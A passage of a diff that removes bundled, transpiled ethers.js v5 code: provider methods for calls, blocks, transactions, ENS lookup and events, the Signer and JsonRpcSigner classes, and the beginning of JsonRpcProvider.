- if (filter2[key22] == null) { - return; - } - result[key22] = filter2[key22]; - }); - ["fromBlock", "toBlock"].forEach((key22) => { - if (filter2[key22] == null) { - return; - } - result[key22] = this._getBlockTag(filter2[key22]); - }); - return this.formatter.filter(yield resolveProperties(result)); - }); - } - _call(transaction, blockTag, attempt) { - return __awaiter6(this, void 0, void 0, function* () { - if (attempt >= MAX_CCIP_REDIRECTS) { - logger16.throwError("CCIP read exceeded maximum redirections", Logger.errors.SERVER_ERROR, { - redirects: attempt, - transaction - }); - } - const txSender = transaction.to; - const result = yield this.perform("call", { transaction, blockTag }); - if (attempt >= 0 && blockTag === "latest" && txSender != null && result.substring(0, 10) === "0x556f1830" && hexDataLength(result) % 32 === 4) { - try { - const data = hexDataSlice(result, 4); - const sender = hexDataSlice(data, 0, 32); - if (!BigNumber.from(sender).eq(txSender)) { - logger16.throwError("CCIP Read sender did not match", Logger.errors.CALL_EXCEPTION, { - name: "OffchainLookup", - signature: "OffchainLookup(address,string[],bytes,bytes4,bytes)", - transaction, - data: result - }); - } - const urls = []; - const urlsOffset = BigNumber.from(hexDataSlice(data, 32, 64)).toNumber(); - const urlsLength = BigNumber.from(hexDataSlice(data, urlsOffset, urlsOffset + 32)).toNumber(); - const urlsData = hexDataSlice(data, urlsOffset + 32); - for (let u = 0; u < urlsLength; u++) { - const url = _parseString(urlsData, u * 32); - if (url == null) { - logger16.throwError("CCIP Read contained corrupt URL string", Logger.errors.CALL_EXCEPTION, { - name: "OffchainLookup", - signature: "OffchainLookup(address,string[],bytes,bytes4,bytes)", - transaction, - data: result - }); - } - urls.push(url); - } - const calldata = _parseBytes(data, 64); - if (!BigNumber.from(hexDataSlice(data, 100, 128)).isZero()) { - logger16.throwError("CCIP Read callback selector included junk", Logger.errors.CALL_EXCEPTION, { - name: "OffchainLookup", - signature: "OffchainLookup(address,string[],bytes,bytes4,bytes)", - transaction, - data: result - }); - } - const callbackSelector = hexDataSlice(data, 96, 100); - const extraData = _parseBytes(data, 128); - const ccipResult = yield this.ccipReadFetch(transaction, calldata, urls); - if (ccipResult == null) { - logger16.throwError("CCIP Read disabled or provided no URLs", Logger.errors.CALL_EXCEPTION, { - name: "OffchainLookup", - signature: "OffchainLookup(address,string[],bytes,bytes4,bytes)", - transaction, - data: result - }); - } - const tx = { - to: txSender, - data: hexConcat([callbackSelector, encodeBytes([ccipResult, extraData])]) - }; - return this._call(tx, blockTag, attempt + 1); - } catch (error) { - if (error.code === Logger.errors.SERVER_ERROR) { - throw error; - } - } - } - try { - return hexlify(result); - } catch (error) { - return logger16.throwError("bad result from backend", Logger.errors.SERVER_ERROR, { - method: "call", - params: { transaction, blockTag }, - result, - error - }); - } - }); - } - call(transaction, blockTag) { - return __awaiter6(this, void 0, void 0, function* () { - yield this.getNetwork(); - const resolved = yield resolveProperties({ - transaction: this._getTransactionRequest(transaction), - blockTag: this._getBlockTag(blockTag), - ccipReadEnabled: Promise.resolve(transaction.ccipReadEnabled) - }); - return this._call(resolved.transaction, resolved.blockTag, resolved.ccipReadEnabled ? 0 : -1); - }); - } - estimateGas(transaction) { - return __awaiter6(this, void 0, void 0, function* () { - yield this.getNetwork(); - const params = yield resolveProperties({ - transaction: this._getTransactionRequest(transaction) - }); - const result = yield this.perform("estimateGas", params); - try { - return BigNumber.from(result); - } catch (error) { - return logger16.throwError("bad result from backend", Logger.errors.SERVER_ERROR, { - method: "estimateGas", - params, - result, - error - }); - } - }); - } - _getAddress(addressOrName) { - return __awaiter6(this, void 0, void 0, function* () { - addressOrName = yield addressOrName; - if (typeof addressOrName !== "string") { - logger16.throwArgumentError("invalid address or ENS name", "name", addressOrName); - } - const address = yield this.resolveName(addressOrName); - if (address == null) { - logger16.throwError("ENS name not configured", Logger.errors.UNSUPPORTED_OPERATION, { - operation: `resolveName(${JSON.stringify(addressOrName)})` - }); - } - return address; - }); - } - _getBlock(blockHashOrBlockTag, includeTransactions) { - return __awaiter6(this, void 0, void 0, function* () { - yield this.getNetwork(); - blockHashOrBlockTag = yield blockHashOrBlockTag; - let blockNumber = -128; - const params = { - includeTransactions: !!includeTransactions - }; - if (isHexString(blockHashOrBlockTag, 32)) { - params.blockHash = blockHashOrBlockTag; - } else { - try { - params.blockTag = yield this._getBlockTag(blockHashOrBlockTag); - if (isHexString(params.blockTag)) { - blockNumber = parseInt(params.blockTag.substring(2), 16); - } - } catch (error) { - logger16.throwArgumentError("invalid block hash or block tag", "blockHashOrBlockTag", blockHashOrBlockTag); - } - } - return poll(() => __awaiter6(this, void 0, void 0, function* () { - const block = yield this.perform("getBlock", params); - if (block == null) { - if (params.blockHash != null) { - if (this._emitted["b:" + params.blockHash] == null) { - return null; - } - } - if (params.blockTag != null) { - if (blockNumber > this._emitted.block) { - return null; - } - } - return void 0; - } - if (includeTransactions) { - let blockNumber2 = null; - for (let i = 0; i < block.transactions.length; i++) { - const tx = block.transactions[i]; - if (tx.blockNumber == null) { - tx.confirmations = 0; - } else if (tx.confirmations == null) { - if (blockNumber2 == null) { - blockNumber2 = yield this._getInternalBlockNumber(100 + 2 * this.pollingInterval); - } - let confirmations = blockNumber2 - tx.blockNumber + 1; - if (confirmations <= 0) { - confirmations = 1; - } - tx.confirmations = confirmations; - } - } - const blockWithTxs = this.formatter.blockWithTransactions(block); - blockWithTxs.transactions = blockWithTxs.transactions.map((tx) => this._wrapTransaction(tx)); - return blockWithTxs; - } - return this.formatter.block(block); - }), { oncePoll: this }); - }); - } - getBlock(blockHashOrBlockTag) { - return this._getBlock(blockHashOrBlockTag, false); - } - getBlockWithTransactions(blockHashOrBlockTag) { - return this._getBlock(blockHashOrBlockTag, true); - } - getTransaction(transactionHash) { - return __awaiter6(this, void 0, void 0, function* () { - yield this.getNetwork(); - transactionHash = yield transactionHash; - const params = { transactionHash: this.formatter.hash(transactionHash, true) }; - return poll(() => __awaiter6(this, void 0, void 0, function* () { - const result = yield this.perform("getTransaction", params); - if (result == null) { - if (this._emitted["t:" + transactionHash] == null) { - return null; - } - return void 0; - } - const tx = this.formatter.transactionResponse(result); - if (tx.blockNumber == null) { - tx.confirmations = 0; - } else if (tx.confirmations == null) { - const blockNumber = yield this._getInternalBlockNumber(100 + 2 * this.pollingInterval); - let confirmations = blockNumber - tx.blockNumber + 1; - if (confirmations <= 0) { - confirmations = 1; - } - tx.confirmations = confirmations; - } - return this._wrapTransaction(tx); - }), { oncePoll: this }); - }); - } - getTransactionReceipt(transactionHash) { - return __awaiter6(this, void 0, void 0, function* () { - yield this.getNetwork(); - transactionHash = yield transactionHash; - const params = { transactionHash: this.formatter.hash(transactionHash, true) }; - return poll(() => __awaiter6(this, void 0, void 0, function* () { - const result = yield this.perform("getTransactionReceipt", params); - if (result == null) { - if (this._emitted["t:" + transactionHash] == null) { - return null; - } - return void 0; - } - if (result.blockHash == null) { - return void 0; - } - const receipt = this.formatter.receipt(result); - if (receipt.blockNumber == null) { - receipt.confirmations = 0; - } else if (receipt.confirmations == null) { - const blockNumber = yield this._getInternalBlockNumber(100 + 2 * this.pollingInterval); - let confirmations = blockNumber - receipt.blockNumber + 1; - if (confirmations <= 0) { - confirmations = 1; - } - receipt.confirmations = confirmations; - } - return receipt; - }), { oncePoll: this }); - }); - } - getLogs(filter2) { - return __awaiter6(this, void 0, void 0, function* () { - yield this.getNetwork(); - const params = yield resolveProperties({ filter: this._getFilter(filter2) }); - const logs = yield this.perform("getLogs", params); - logs.forEach((log) => { - if (log.removed == null) { - log.removed = false; - } - }); - return Formatter.arrayOf(this.formatter.filterLog.bind(this.formatter))(logs); - }); - } - getEtherPrice() { - return __awaiter6(this, void 0, void 0, function* () { - yield this.getNetwork(); - return this.perform("getEtherPrice", {}); - }); - } - _getBlockTag(blockTag) { - return __awaiter6(this, void 0, void 0, function* () { - blockTag = yield blockTag; - if (typeof blockTag === "number" && blockTag < 0) { - if (blockTag % 1) { - logger16.throwArgumentError("invalid BlockTag", "blockTag", blockTag); - } - let blockNumber = yield this._getInternalBlockNumber(100 + 2 * this.pollingInterval); - blockNumber += blockTag; - if (blockNumber < 0) { - blockNumber = 0; - } - return this.formatter.blockTag(blockNumber); - } - return this.formatter.blockTag(blockTag); - }); - } - getResolver(name) { - return __awaiter6(this, void 0, void 0, function* () { - let currentName = name; - while (true) { - if (currentName === "" || currentName === ".") { - return null; - } - if (name !== "eth" && currentName === "eth") { - return null; - } - const addr = yield this._getResolver(currentName, "getResolver"); - if (addr != null) { - const resolver = new Resolver(this, addr, name); - if (currentName !== name && !(yield resolver.supportsWildcard())) { - return null; - } - return resolver; - } - currentName = currentName.split(".").slice(1).join("."); - } - }); - } - _getResolver(name, operation) { - return __awaiter6(this, void 0, void 0, function* () { - if (operation == null) { - operation = "ENS"; - } - const network = yield this.getNetwork(); - if (!network.ensAddress) { - logger16.throwError("network does not support ENS", Logger.errors.UNSUPPORTED_OPERATION, { operation, network: network.name }); - } - try { - const addrData = yield this.call({ - to: network.ensAddress, - data: "0x0178b8bf" + namehash(name).substring(2) - }); - return this.formatter.callAddress(addrData); - } catch (error) { - } - return null; - }); - } - resolveName(name) { - return __awaiter6(this, void 0, void 0, function* () { - name = yield name; - try { - return Promise.resolve(this.formatter.address(name)); - } catch (error) { - if (isHexString(name)) { - throw error; - } - } - if (typeof name !== "string") { - logger16.throwArgumentError("invalid ENS name", "name", name); - } - const resolver = yield this.getResolver(name); - if (!resolver) { - return null; - } - return yield resolver.getAddress(); - }); - } - lookupAddress(address) { - return __awaiter6(this, void 0, void 0, function* () { - address = yield address; - address = this.formatter.address(address); - const node = address.substring(2).toLowerCase() + ".addr.reverse"; - const resolverAddr = yield this._getResolver(node, "lookupAddress"); - if (resolverAddr == null) { - return null; - } - const name = _parseString(yield this.call({ - to: resolverAddr, - data: "0x691f3431" + namehash(node).substring(2) - }), 0); - const addr = yield this.resolveName(name); - if (addr != address) { - return null; - } - return name; - }); - } - getAvatar(nameOrAddress) { - return __awaiter6(this, void 0, void 0, function* () { - let resolver = null; - if (isHexString(nameOrAddress)) { - const address = this.formatter.address(nameOrAddress); - const node = address.substring(2).toLowerCase() + ".addr.reverse"; - const resolverAddress = yield this._getResolver(node, "getAvatar"); - if (!resolverAddress) { - return null; - } - resolver = new Resolver(this, resolverAddress, node); - try { - const avatar2 = yield resolver.getAvatar(); - if (avatar2) { - return avatar2.url; - } - } catch (error) { - if (error.code !== Logger.errors.CALL_EXCEPTION) { - throw error; - } - } - try { - const name = _parseString(yield this.call({ - to: resolverAddress, - data: "0x691f3431" + namehash(node).substring(2) - }), 0); - resolver = yield this.getResolver(name); - } catch (error) { - if (error.code !== Logger.errors.CALL_EXCEPTION) { - throw error; - } - return null; - } - } else { - resolver = yield this.getResolver(nameOrAddress); - if (!resolver) { - return null; - } - } - const avatar = yield resolver.getAvatar(); - if (avatar == null) { - return null; - } - return avatar.url; - }); - } - perform(method, params) { - return logger16.throwError(method + " not implemented", Logger.errors.NOT_IMPLEMENTED, { operation: method }); - } - _startEvent(event) { - this.polling = this._events.filter((e) => e.pollable()).length > 0; - } - _stopEvent(event) { - this.polling = this._events.filter((e) => e.pollable()).length > 0; - } - _addEventListener(eventName, listener, once) { - const event = new Event(getEventTag(eventName), listener, once); - this._events.push(event); - this._startEvent(event); - return this; - } - on(eventName, listener) { - return this._addEventListener(eventName, listener, false); - } - once(eventName, listener) { - return this._addEventListener(eventName, listener, true); - } - emit(eventName, ...args) { - let result = false; - let stopped = []; - let eventTag = getEventTag(eventName); - this._events = this._events.filter((event) => { - if (event.tag !== eventTag) { - return true; - } - setTimeout(() => { - event.listener.apply(this, args); - }, 0); - result = true; - if (event.once) { - stopped.push(event); - return false; - } - return true; - }); - stopped.forEach((event) => { - this._stopEvent(event); - }); - return result; - } - listenerCount(eventName) { - if (!eventName) { - return this._events.length; - } - let eventTag = getEventTag(eventName); - return this._events.filter((event) => { - return event.tag === eventTag; - }).length; - } - listeners(eventName) { - if (eventName == null) { - return this._events.map((event) => event.listener); - } - let eventTag = getEventTag(eventName); - return this._events.filter((event) => event.tag === eventTag).map((event) => event.listener); - } - off(eventName, listener) { - if (listener == null) { - return this.removeAllListeners(eventName); - } - const stopped = []; - let found = false; - let eventTag = getEventTag(eventName); - this._events = this._events.filter((event) => { - if (event.tag !== eventTag || event.listener != listener) { - return true; - } - if (found) { - return true; - } - found = true; - stopped.push(event); - return false; - }); - stopped.forEach((event) => { - this._stopEvent(event); - }); - return this; - } - removeAllListeners(eventName) { - let stopped = []; - if (eventName == null) { - stopped = this._events; - this._events = []; - } else { - const eventTag = getEventTag(eventName); - this._events = this._events.filter((event) => { - if (event.tag !== eventTag) { - return true; - } - stopped.push(event); - return false; - }); - } - stopped.forEach((event) => { - this._stopEvent(event); - }); - return this; - } - }; - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - init_define_chainIDList(); - init_define_extraRpcs(); - var version16 = "abstract-signer/5.7.0"; - var __awaiter7 = function(thisArg, _arguments, P, generator) { - function adopt(value) { - return value instanceof P ? value : new P(function(resolve) { - resolve(value); - }); - } - return new (P || (P = Promise))(function(resolve, reject) { - function fulfilled(value) { - try { - step(generator.next(value)); - } catch (e) { - reject(e); - } - } - function rejected(value) { - try { - step(generator["throw"](value)); - } catch (e) { - reject(e); - } - } - function step(result) { - result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); - } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); - }; - var logger17 = new Logger(version16); - var allowedTransactionKeys = [ - "accessList", - "ccipReadEnabled", - "chainId", - "customData", - "data", - "from", - "gasLimit", - "gasPrice", - "maxFeePerGas", - "maxPriorityFeePerGas", - "nonce", - "to", - "type", - "value" - ]; - var forwardErrors = [ - Logger.errors.INSUFFICIENT_FUNDS, - Logger.errors.NONCE_EXPIRED, - Logger.errors.REPLACEMENT_UNDERPRICED - ]; - var Signer = class _Signer { - /////////////////// - // Sub-classes MUST call super - constructor() { - logger17.checkAbstract(new.target, _Signer); - defineReadOnly(this, "_isSigner", true); - } - /////////////////// - // Sub-classes MAY override these - getBalance(blockTag) { - return __awaiter7(this, void 0, void 0, function* () { - this._checkProvider("getBalance"); - return yield this.provider.getBalance(this.getAddress(), blockTag); - }); - } - getTransactionCount(blockTag) { - return __awaiter7(this, void 0, void 0, function* () { - this._checkProvider("getTransactionCount"); - return yield this.provider.getTransactionCount(this.getAddress(), blockTag); - }); - } - // Populates "from" if unspecified, and estimates the gas for the transaction - estimateGas(transaction) { - return __awaiter7(this, void 0, void 0, function* () { - this._checkProvider("estimateGas"); - const tx = yield resolveProperties(this.checkTransaction(transaction)); - return yield this.provider.estimateGas(tx); - }); - } - // Populates "from" if unspecified, and calls with the transaction - call(transaction, blockTag) { - return __awaiter7(this, void 0, void 0, function* () { - this._checkProvider("call"); - const tx = yield resolveProperties(this.checkTransaction(transaction)); - return yield this.provider.call(tx, blockTag); - }); - } - // Populates all fields in a transaction, signs it and sends it to the network - sendTransaction(transaction) { - return __awaiter7(this, void 0, void 0, function* () { - this._checkProvider("sendTransaction"); - const tx = yield this.populateTransaction(transaction); - const signedTx = yield this.signTransaction(tx); - return yield this.provider.sendTransaction(signedTx); - }); - } - getChainId() { - return __awaiter7(this, void 0, void 0, function* () { - this._checkProvider("getChainId"); - const network = yield this.provider.getNetwork(); - return network.chainId; - }); - } - getGasPrice() { - return __awaiter7(this, void 0, void 0, function* () { - this._checkProvider("getGasPrice"); - return yield this.provider.getGasPrice(); - }); - } - getFeeData() { - return __awaiter7(this, void 0, void 0, function* () { - this._checkProvider("getFeeData"); - return yield this.provider.getFeeData(); - }); - } - resolveName(name) { - return __awaiter7(this, void 0, void 0, function* () { - this._checkProvider("resolveName"); - return yield this.provider.resolveName(name); - }); - } - // Checks a transaction does not contain invalid keys and if - // no "from" is provided, populates it. - // - does NOT require a provider - // - adds "from" is not present - // - returns a COPY (safe to mutate the result) - // By default called from: (overriding these prevents it) - // - call - // - estimateGas - // - populateTransaction (and therefor sendTransaction) - checkTransaction(transaction) { - for (const key22 in transaction) { - if (allowedTransactionKeys.indexOf(key22) === -1) { - logger17.throwArgumentError("invalid transaction key: " + key22, "transaction", transaction); - } - } - const tx = shallowCopy(transaction); - if (tx.from == null) { - tx.from = this.getAddress(); - } else { - tx.from = Promise.all([ - Promise.resolve(tx.from), - this.getAddress() - ]).then((result) => { - if (result[0].toLowerCase() !== result[1].toLowerCase()) { - logger17.throwArgumentError("from address mismatch", "transaction", transaction); - } - return result[0]; - }); - } - return tx; - } - // Populates ALL keys for a transaction and checks that "from" matches - // this Signer. Should be used by sendTransaction but NOT by signTransaction. - // By default called from: (overriding these prevents it) - // - sendTransaction - // - // Notes: - // - We allow gasPrice for EIP-1559 as long as it matches maxFeePerGas - populateTransaction(transaction) { - return __awaiter7(this, void 0, void 0, function* () { - const tx = yield resolveProperties(this.checkTransaction(transaction)); - if (tx.to != null) { - tx.to = Promise.resolve(tx.to).then((to) => __awaiter7(this, void 0, void 0, function* () { - if (to == null) { - return null; - } - const address = yield this.resolveName(to); - if (address == null) { - logger17.throwArgumentError("provided ENS name resolves to null", "tx.to", to); - } - return address; - })); - tx.to.catch((error) => { - }); - } - const hasEip1559 = tx.maxFeePerGas != null || tx.maxPriorityFeePerGas != null; - if (tx.gasPrice != null && (tx.type === 2 || hasEip1559)) { - logger17.throwArgumentError("eip-1559 transaction do not support gasPrice", "transaction", transaction); - } else if ((tx.type === 0 || tx.type === 1) && hasEip1559) { - logger17.throwArgumentError("pre-eip-1559 transaction do not support maxFeePerGas/maxPriorityFeePerGas", "transaction", transaction); - } - if ((tx.type === 2 || tx.type == null) && (tx.maxFeePerGas != null && tx.maxPriorityFeePerGas != null)) { - tx.type = 2; - } else if (tx.type === 0 || tx.type === 1) { - if (tx.gasPrice == null) { - tx.gasPrice = this.getGasPrice(); - } - } else { - const feeData = yield this.getFeeData(); - if (tx.type == null) { - if (feeData.maxFeePerGas != null && feeData.maxPriorityFeePerGas != null) { - tx.type = 2; - if (tx.gasPrice != null) { - const gasPrice = tx.gasPrice; - delete tx.gasPrice; - tx.maxFeePerGas = gasPrice; - tx.maxPriorityFeePerGas = gasPrice; - } else { - if (tx.maxFeePerGas == null) { - tx.maxFeePerGas = feeData.maxFeePerGas; - } - if (tx.maxPriorityFeePerGas == null) { - tx.maxPriorityFeePerGas = feeData.maxPriorityFeePerGas; - } - } - } else if (feeData.gasPrice != null) { - if (hasEip1559) { - logger17.throwError("network does not support EIP-1559", Logger.errors.UNSUPPORTED_OPERATION, { - operation: "populateTransaction" - }); - } - if (tx.gasPrice == null) { - tx.gasPrice = feeData.gasPrice; - } - tx.type = 0; - } else { - logger17.throwError("failed to get consistent fee data", Logger.errors.UNSUPPORTED_OPERATION, { - operation: "signer.getFeeData" - }); - } - } else if (tx.type === 2) { - if (tx.maxFeePerGas == null) { - tx.maxFeePerGas = feeData.maxFeePerGas; - } - if (tx.maxPriorityFeePerGas == null) { - tx.maxPriorityFeePerGas = feeData.maxPriorityFeePerGas; - } - } - } - if (tx.nonce == null) { - tx.nonce = this.getTransactionCount("pending"); - } - if (tx.gasLimit == null) { - tx.gasLimit = this.estimateGas(tx).catch((error) => { - if (forwardErrors.indexOf(error.code) >= 0) { - throw error; - } - return logger17.throwError("cannot estimate gas; transaction may fail or may require manual gas limit", Logger.errors.UNPREDICTABLE_GAS_LIMIT, { - error, - tx - }); - }); - } - if (tx.chainId == null) { - tx.chainId = this.getChainId(); - } else { - tx.chainId = Promise.all([ - Promise.resolve(tx.chainId), - this.getChainId() - ]).then((results) => { - if (results[1] !== 0 && results[0] !== results[1]) { - logger17.throwArgumentError("chainId address mismatch", "transaction", transaction); - } - return results[0]; - }); - } - return yield resolveProperties(tx); - }); - } - /////////////////// - // Sub-classes SHOULD leave these alone - _checkProvider(operation) { - if (!this.provider) { - logger17.throwError("missing provider", Logger.errors.UNSUPPORTED_OPERATION, { - operation: operation || "_checkProvider" - }); - } - } - static isSigner(value) { - return !!(value && value._isSigner); - } - }; - var __awaiter8 = function(thisArg, _arguments, P, generator) { - function adopt(value) { - return value instanceof P ? value : new P(function(resolve) { - resolve(value); - }); - } - return new (P || (P = Promise))(function(resolve, reject) { - function fulfilled(value) { - try { - step(generator.next(value)); - } catch (e) { - reject(e); - } - } - function rejected(value) { - try { - step(generator["throw"](value)); - } catch (e) { - reject(e); - } - } - function step(result) { - result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); - } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); - }; - var logger18 = new Logger(version13); - var errorGas = ["call", "estimateGas"]; - function spelunk(value, requireData) { - if (value == null) { - return null; - } - if (typeof value.message === "string" && value.message.match("reverted")) { - const data = isHexString(value.data) ? value.data : null; - if (!requireData || data) { - return { message: value.message, data }; - } - } - if (typeof value === "object") { - for (const key22 in value) { - const result = spelunk(value[key22], requireData); - if (result) { - return result; - } - } - return null; - } - if (typeof value === "string") { - try { - return spelunk(JSON.parse(value), requireData); - } catch (error) { - } - } - return null; - } - function checkError(method, error, params) { - const transaction = params.transaction || params.signedTransaction; - if (method === "call") { - const result = spelunk(error, true); - if (result) { - return result.data; - } - logger18.throwError("missing revert data in call exception; Transaction reverted without a reason string", Logger.errors.CALL_EXCEPTION, { - data: "0x", - transaction, - error - }); - } - if (method === "estimateGas") { - let result = spelunk(error.body, false); - if (result == null) { - result = spelunk(error, false); - } - if (result) { - logger18.throwError("cannot estimate gas; transaction may fail or may require manual gas limit", Logger.errors.UNPREDICTABLE_GAS_LIMIT, { - reason: result.message, - method, - transaction, - error - }); - } - } - let message = error.message; - if (error.code === Logger.errors.SERVER_ERROR && error.error && typeof error.error.message === "string") { - message = error.error.message; - } else if (typeof error.body === "string") { - message = error.body; - } else if (typeof error.responseText === "string") { - message = error.responseText; - } - message = (message || "").toLowerCase(); - if (message.match(/insufficient funds|base fee exceeds gas limit|InsufficientFunds/i)) { - logger18.throwError("insufficient funds for intrinsic transaction cost", Logger.errors.INSUFFICIENT_FUNDS, { - error, - method, - transaction - }); - } - if (message.match(/nonce (is )?too low/i)) { - logger18.throwError("nonce has already been used", Logger.errors.NONCE_EXPIRED, { - error, - method, - transaction - }); - } - if (message.match(/replacement transaction underpriced|transaction gas price.*too low/i)) { - logger18.throwError("replacement fee too low", Logger.errors.REPLACEMENT_UNDERPRICED, { - error, - method, - transaction - }); - } - if (message.match(/only replay-protected/i)) { - logger18.throwError("legacy pre-eip-155 transactions not supported", Logger.errors.UNSUPPORTED_OPERATION, { - error, - method, - transaction - }); - } - if (errorGas.indexOf(method) >= 0 && message.match(/gas required exceeds allowance|always failing transaction|execution reverted|revert/)) { - logger18.throwError("cannot estimate gas; transaction may fail or may require manual gas limit", Logger.errors.UNPREDICTABLE_GAS_LIMIT, { - error, - method, - transaction - }); - } - throw error; - } - function timer(timeout) { - return new Promise(function(resolve) { - setTimeout(resolve, timeout); - }); - } - function getResult(payload) { - if (payload.error) { - const error = new Error(payload.error.message); - error.code = payload.error.code; - error.data = payload.error.data; - throw error; - } - return payload.result; - } - function getLowerCase(value) { - if (value) { - return value.toLowerCase(); - } - return value; - } - var _constructorGuard2 = {}; - var JsonRpcSigner = class extends Signer { - constructor(constructorGuard, provider, addressOrIndex) { - super(); - if (constructorGuard !== _constructorGuard2) { - throw new Error("do not call the JsonRpcSigner constructor directly; use provider.getSigner"); - } - defineReadOnly(this, "provider", provider); - if (addressOrIndex == null) { - addressOrIndex = 0; - } - if (typeof addressOrIndex === "string") { - defineReadOnly(this, "_address", this.provider.formatter.address(addressOrIndex)); - defineReadOnly(this, "_index", null); - } else if (typeof addressOrIndex === "number") { - defineReadOnly(this, "_index", addressOrIndex); - defineReadOnly(this, "_address", null); - } else { - logger18.throwArgumentError("invalid address or index", "addressOrIndex", addressOrIndex); - } - } - connect(provider) { - return logger18.throwError("cannot alter JSON-RPC Signer connection", Logger.errors.UNSUPPORTED_OPERATION, { - operation: "connect" - }); - } - connectUnchecked() { - return new UncheckedJsonRpcSigner(_constructorGuard2, this.provider, this._address || this._index); - } - getAddress() { - if (this._address) { - return Promise.resolve(this._address); - } - return this.provider.send("eth_accounts", []).then((accounts) => { - if (accounts.length <= this._index) { - logger18.throwError("unknown account #" + this._index, Logger.errors.UNSUPPORTED_OPERATION, { - operation: "getAddress" - }); - } - return this.provider.formatter.address(accounts[this._index]); - }); - } - sendUncheckedTransaction(transaction) { - transaction = shallowCopy(transaction); - const fromAddress = this.getAddress().then((address) => { - if (address) { - address = address.toLowerCase(); - } - return address; - }); - if (transaction.gasLimit == null) { - const estimate = shallowCopy(transaction); - estimate.from = fromAddress; - transaction.gasLimit = this.provider.estimateGas(estimate); - } - if (transaction.to != null) { - transaction.to = Promise.resolve(transaction.to).then((to) => __awaiter8(this, void 0, void 0, function* () { - if (to == null) { - return null; - } - const address = yield this.provider.resolveName(to); - if (address == null) { - logger18.throwArgumentError("provided ENS name resolves to null", "tx.to", to); - } - return address; - })); - } - return resolveProperties({ - tx: resolveProperties(transaction), - sender: fromAddress - }).then(({ tx, sender }) => { - if (tx.from != null) { - if (tx.from.toLowerCase() !== sender) { - logger18.throwArgumentError("from address mismatch", "transaction", transaction); - } - } else { - tx.from = sender; - } - const hexTx = this.provider.constructor.hexlifyTransaction(tx, { from: true }); - return this.provider.send("eth_sendTransaction", [hexTx]).then((hash3) => { - return hash3; - }, (error) => { - if (typeof error.message === "string" && error.message.match(/user denied/i)) { - logger18.throwError("user rejected transaction", Logger.errors.ACTION_REJECTED, { - action: "sendTransaction", - transaction: tx - }); - } - return checkError("sendTransaction", error, hexTx); - }); - }); - } - signTransaction(transaction) { - return logger18.throwError("signing transactions is unsupported", Logger.errors.UNSUPPORTED_OPERATION, { - operation: "signTransaction" - }); - } - sendTransaction(transaction) { - return __awaiter8(this, void 0, void 0, function* () { - const blockNumber = yield this.provider._getInternalBlockNumber(100 + 2 * this.provider.pollingInterval); - const hash3 = yield this.sendUncheckedTransaction(transaction); - try { - return yield poll(() => __awaiter8(this, void 0, void 0, function* () { - const tx = yield this.provider.getTransaction(hash3); - if (tx === null) { - return void 0; - } - return this.provider._wrapTransaction(tx, hash3, blockNumber); - }), { oncePoll: this.provider }); - } catch (error) { - error.transactionHash = hash3; - throw error; - } - }); - } - signMessage(message) { - return __awaiter8(this, void 0, void 0, function* () { - const data = typeof message === "string" ? toUtf8Bytes(message) : message; - const address = yield this.getAddress(); - try { - return yield this.provider.send("personal_sign", [hexlify(data), address.toLowerCase()]); - } catch (error) { - if (typeof error.message === "string" && error.message.match(/user denied/i)) { - logger18.throwError("user rejected signing", Logger.errors.ACTION_REJECTED, { - action: "signMessage", - from: address, - messageData: message - }); - } - throw error; - } - }); - } - _legacySignMessage(message) { - return __awaiter8(this, void 0, void 0, function* () { - const data = typeof message === "string" ? toUtf8Bytes(message) : message; - const address = yield this.getAddress(); - try { - return yield this.provider.send("eth_sign", [address.toLowerCase(), hexlify(data)]); - } catch (error) { - if (typeof error.message === "string" && error.message.match(/user denied/i)) { - logger18.throwError("user rejected signing", Logger.errors.ACTION_REJECTED, { - action: "_legacySignMessage", - from: address, - messageData: message - }); - } - throw error; - } - }); - } - _signTypedData(domain, types, value) { - return __awaiter8(this, void 0, void 0, function* () { - const populated = yield TypedDataEncoder.resolveNames(domain, types, value, (name) => { - return this.provider.resolveName(name); - }); - const address = yield this.getAddress(); - try { - return yield this.provider.send("eth_signTypedData_v4", [ - address.toLowerCase(), - JSON.stringify(TypedDataEncoder.getPayload(populated.domain, types, populated.value)) - ]); - } catch (error) { - if (typeof error.message === "string" && error.message.match(/user denied/i)) { - logger18.throwError("user rejected signing", Logger.errors.ACTION_REJECTED, { - action: "_signTypedData", - from: address, - messageData: { domain: populated.domain, types, value: populated.value } - }); - } - throw error; - } - }); - } - unlock(password) { - return __awaiter8(this, void 0, void 0, function* () { - const provider = this.provider; - const address = yield this.getAddress(); - return provider.send("personal_unlockAccount", [address.toLowerCase(), password, null]); - }); - } - }; - var UncheckedJsonRpcSigner = class extends JsonRpcSigner { - sendTransaction(transaction) { - return this.sendUncheckedTransaction(transaction).then((hash3) => { - return { - hash: hash3, - nonce: null, - gasLimit: null, - gasPrice: null, - data: null, - value: null, - chainId: null, - confirmations: 0, - from: null, - wait: (confirmations) => { - return this.provider.waitForTransaction(hash3, confirmations); - } - }; - }); - } - }; - var allowedTransactionKeys2 = { - chainId: true, - data: true, - gasLimit: true, - gasPrice: true, - nonce: true, - to: true, - value: true, - type: true, - accessList: true, - maxFeePerGas: true, - maxPriorityFeePerGas: true - }; - var JsonRpcProvider = class extends BaseProvider { - constructor(url, network) { - let networkOrReady = network; - if (networkOrReady == null) { - networkOrReady = new Promise((resolve, reject) => { - setTimeout(() => { - this.detectNetwork().then((network2) => { - resolve(network2); - }, (error) => { - reject(error); - }); - }, 0); - }); - } - super(networkOrReady); - if (!url) { - url = getStatic(this.constructor, "defaultUrl")(); - } - if (typeof url === "string") { - defineReadOnly(this, "connection", Object.freeze({ - url - })); - } else { - defineReadOnly(this, "connection", Object.freeze(shallowCopy(url))); - } - this._nextId = 42; - } - get _cache() { - if (this._eventLoopCache == null) { - this._eventLoopCache = {}; - } - return this._eventLoopCache; - } - static defaultUrl() { - return "http://localhost:8545"; - } - detectNetwork() { - if (!this._cache["detectNetwork"]) { - this._cache["detectNetwork"] = this._uncachedDetectNetwork(); - setTimeout(() => { - this._cache["detectNetwork"] = null; - }, 0); - } - return this._cache["detectNetwork"]; - } - _uncachedDetectNetwork() { - return __awaiter8(this, void 0, void 0, function* () { - yield timer(0); - let chainId = null; - try { - chainId = yield this.send("eth_chainId", []); - } catch (error) { - try { - chainId = yield this.send("net_version", []); - } catch (error2) { - } - } 